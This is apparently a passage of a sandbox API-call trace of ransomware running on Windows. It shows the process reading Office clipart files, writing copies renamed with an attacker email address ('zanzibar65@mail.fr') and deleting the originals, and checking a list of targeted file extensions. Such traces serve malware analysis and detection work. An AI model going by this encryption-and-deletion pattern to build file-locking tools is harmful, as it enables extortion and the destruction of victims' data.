0x354 [0273.715] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=1564) returned 1 [0273.715] CloseHandle (hObject=0x354) returned 1 [0273.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x20 [0273.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0273.715] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.715] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0273.716] GetLastError () returned 0x0 [0273.716] ReadFile (in: hFile=0x354, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x61c, lpOverlapped=0x0) returned 1 [0273.717] WriteFile (in: hFile=0x398, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0x620, lpOverlapped=0x0) returned 1 [0273.718] ReadFile (in: hFile=0x354, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0273.718] WriteFile (in: hFile=0x398, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.718] SetEndOfFile (hFile=0x398) returned 1 [0273.718] CloseHandle (hObject=0x398) returned 1 [0273.718] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.718] SetEndOfFile (hFile=0x354) returned 1 [0273.721] CloseHandle (hObject=0x354) returned 1 [0273.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf")) returned 1 [0273.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0273.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0273.722] lstrlenW (lpString=".doc") returned 4 [0273.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.722] lstrlenW (lpString=".docx") returned 5 [0273.722] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.722] lstrlenW (lpString=".pdf") returned 4 [0273.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.722] lstrlenW (lpString=".xls") returned 4 [0273.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.722] lstrlenW (lpString=".xlsx") returned 5 [0273.722] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.722] lstrlenW (lpString=".ppt") returned 4 [0273.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0273.722] lstrlenW (lpString=".zip") returned 4 [0273.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.722] lstrlenW (lpString=".rar") returned 4 [0273.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.722] lstrlenW (lpString=".bz2") returned 4 [0273.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.723] lstrlenW (lpString=".7z") returned 3 [0273.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0273.723] lstrlenW (lpString=".dbf") returned 4 [0273.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0273.723] lstrlenW (lpString=".1cd") returned 4 [0273.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0273.723] lstrlenW (lpString=".jpg") returned 4 [0273.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0273.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0273.723] lstrlenW (lpString=".doc") returned 4 [0273.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.723] lstrlenW (lpString=".docx") returned 5 [0273.723] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.723] lstrlenW (lpString=".pdf") returned 4 [0273.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.723] lstrlenW (lpString=".xls") returned 4 [0273.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.723] lstrlenW (lpString=".xlsx") returned 5 [0273.723] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.723] lstrlenW (lpString=".ppt") returned 4 [0273.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0273.723] lstrlenW (lpString=".zip") returned 4 [0273.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.723] lstrlenW (lpString=".rar") returned 4 [0273.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.723] lstrlenW (lpString=".bz2") returned 4 [0273.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.724] lstrlenW (lpString=".7z") returned 3 [0273.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0273.724] lstrlenW (lpString=".dbf") returned 4 [0273.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0273.724] lstrlenW (lpString=".1cd") returned 4 [0273.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0273.724] lstrlenW (lpString=".jpg") returned 4 [0273.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.724] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.724] lstrlenW (lpString="FD02115_.WMF") returned 12 [0273.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0273.725] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=4660) returned 1 [0273.725] CloseHandle (hObject=0x354) returned 1 [0273.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf")) returned 0x20 [0273.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0273.725] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.725] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0273.726] GetLastError () returned 0x0 [0273.726] ReadFile (in: hFile=0x354, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x1234, lpOverlapped=0x0) returned 1 [0274.041] WriteFile (in: hFile=0x398, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0x1240, lpOverlapped=0x0) returned 1 [0274.042] ReadFile (in: hFile=0x354, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0274.042] WriteFile (in: hFile=0x398, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.042] SetEndOfFile (hFile=0x398) returned 1 [0274.042] CloseHandle (hObject=0x398) returned 1 [0274.042] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.042] SetEndOfFile (hFile=0x354) returned 1 [0274.046] CloseHandle (hObject=0x354) returned 1 [0274.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf")) returned 1 [0274.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0274.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0274.085] lstrlenW (lpString=".doc") returned 4 [0274.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.085] lstrlenW (lpString=".docx") returned 5 [0274.085] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.085] lstrlenW (lpString=".pdf") returned 4 [0274.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.085] lstrlenW (lpString=".xls") returned 4 [0274.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.085] lstrlenW (lpString=".xlsx") returned 5 [0274.085] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.085] lstrlenW (lpString=".ppt") returned 4 [0274.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0274.085] lstrlenW (lpString=".zip") returned 4 [0274.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.085] lstrlenW (lpString=".rar") returned 4 [0274.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.085] lstrlenW (lpString=".bz2") returned 4 [0274.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.086] lstrlenW (lpString=".7z") returned 3 [0274.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0274.086] lstrlenW (lpString=".dbf") returned 4 [0274.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0274.086] lstrlenW (lpString=".1cd") returned 4 [0274.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0274.086] lstrlenW (lpString=".jpg") returned 4 [0274.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0274.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0274.086] lstrlenW (lpString=".doc") returned 4 [0274.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.086] lstrlenW (lpString=".docx") returned 5 [0274.086] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.086] lstrlenW (lpString=".pdf") returned 4 [0274.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.086] lstrlenW (lpString=".xls") returned 4 [0274.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.086] lstrlenW (lpString=".xlsx") returned 5 [0274.086] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.086] lstrlenW (lpString=".ppt") returned 4 [0274.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0274.086] lstrlenW (lpString=".zip") returned 4 [0274.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.086] lstrlenW (lpString=".rar") returned 4 [0274.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.086] lstrlenW (lpString=".bz2") returned 4 [0274.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.087] lstrlenW (lpString=".7z") returned 3 [0274.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0274.087] lstrlenW (lpString=".dbf") returned 4 [0274.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0274.087] lstrlenW (lpString=".1cd") returned 4 [0274.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0274.087] lstrlenW (lpString=".jpg") returned 4 [0274.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.087] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.087] lstrlenW (lpString="HH00260_.WMF") returned 12 [0274.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0274.088] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=3662) returned 1 [0274.088] CloseHandle (hObject=0x39c) returned 1 [0274.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x20 [0274.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0274.088] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.088] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0274.089] GetLastError () returned 0x0 [0274.089] ReadFile (in: hFile=0x39c, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0xe4e, lpOverlapped=0x0) returned 1 [0274.090] WriteFile (in: hFile=0x2f8, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xe50, lpOverlapped=0x0) returned 1 [0274.091] ReadFile (in: hFile=0x39c, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0274.091] WriteFile (in: hFile=0x2f8, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.091] SetEndOfFile (hFile=0x2f8) returned 1 [0274.091] CloseHandle (hObject=0x2f8) returned 1 [0274.091] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.091] SetEndOfFile (hFile=0x39c) returned 1 [0274.094] CloseHandle (hObject=0x39c) returned 1 [0274.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.094] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf")) returned 1 [0274.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0274.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0274.094] lstrlenW (lpString=".doc") returned 4 [0274.094] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.094] lstrlenW (lpString=".docx") returned 5 [0274.094] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.094] lstrlenW (lpString=".pdf") returned 4 [0274.094] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.094] lstrlenW (lpString=".xls") returned 4 [0274.094] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.094] lstrlenW (lpString=".xlsx") returned 5 [0274.095] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.095] lstrlenW (lpString=".ppt") returned 4 [0274.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0274.095] lstrlenW (lpString=".zip") returned 4 [0274.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.095] lstrlenW (lpString=".rar") returned 4 [0274.095] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.095] lstrlenW (lpString=".bz2") returned 4 [0274.095] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.095] lstrlenW (lpString=".7z") returned 3 [0274.095] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0274.095] lstrlenW (lpString=".dbf") returned 4 [0274.095] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0274.095] lstrlenW (lpString=".1cd") returned 4 [0274.095] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0274.095] lstrlenW (lpString=".jpg") returned 4 [0274.095] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0274.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0274.095] lstrlenW (lpString=".doc") returned 4 [0274.095] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.095] lstrlenW (lpString=".docx") returned 5 [0274.095] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.095] lstrlenW (lpString=".pdf") returned 4 [0274.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.096] lstrlenW (lpString=".xls") returned 4 [0274.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.096] lstrlenW (lpString=".xlsx") returned 5 [0274.096] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.096] lstrlenW (lpString=".ppt") returned 4 [0274.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0274.096] lstrlenW (lpString=".zip") returned 4 [0274.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.096] lstrlenW (lpString=".rar") returned 4 [0274.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.096] lstrlenW (lpString=".bz2") returned 4 [0274.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.096] lstrlenW (lpString=".7z") returned 3 [0274.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0274.096] lstrlenW (lpString=".dbf") returned 4 [0274.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0274.096] lstrlenW (lpString=".1cd") returned 4 [0274.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0274.096] lstrlenW (lpString=".jpg") returned 4 [0274.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.097] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.097] lstrlenW (lpString="HH00276_.WMF") returned 12 [0274.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0274.097] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=3016) returned 1 [0274.097] CloseHandle (hObject=0x39c) returned 1 [0274.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x20 [0274.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft 